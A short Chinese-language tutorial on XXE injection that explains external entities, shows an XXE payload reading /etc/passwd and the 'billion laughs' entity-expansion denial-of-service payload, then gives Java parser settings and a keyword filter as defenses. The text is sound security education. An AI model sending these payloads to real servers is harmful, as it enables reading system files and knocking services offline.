前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。
漏洞通常发生的场景是服务端接收从客户端传输过来的xml格式数据时,没有对其中不安全的外部实体数据进行处理时引发的问题。
具体应用
目前通用的数据传输格式主要有xml格式,json格式;其中xml格式解析笨重但可读性强,json格式解析轻量但对人阅读体验不好,两种各有千秋。有些接口还是采用的xml格式数据传输,如果服务端没有对接口请求的参数进行必要的XXE注入攻击校验,就会导致服务器被攻击。
外部实体:在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义,
并在文档中调用实体的标识符可访问本地或远程内容。
所产生的影响:
- 文件读取,造成信息泄露(例:通过system标识读取系统文件)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
这里除了可以读取本地服务器文件系统资源外,还可以基于http、gopher、smb等协议读取远程资源。
- DOS拒绝服务攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol1实体,lol1实体引用10个lol实体,lol2又引用了10个lol1实体的值,依此类推,到了最后在loln元素中引用的lol9中,就会存在上亿个”lol”字符串此时解析数据时就会造成服务器内存被大量占用,导致正常请求无法处理(即DOS拒绝服务攻击)。
- 执行系统命令
- 探测内网端口
如何防御
禁用xml解析器,解析外部实体的功能;
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);对请求参数XML数据中含关键词:<!DOCTYPE,<!ENTITY 和 <!ELEMENT 或者SYSTEM和PUBLIC等进行过滤处理;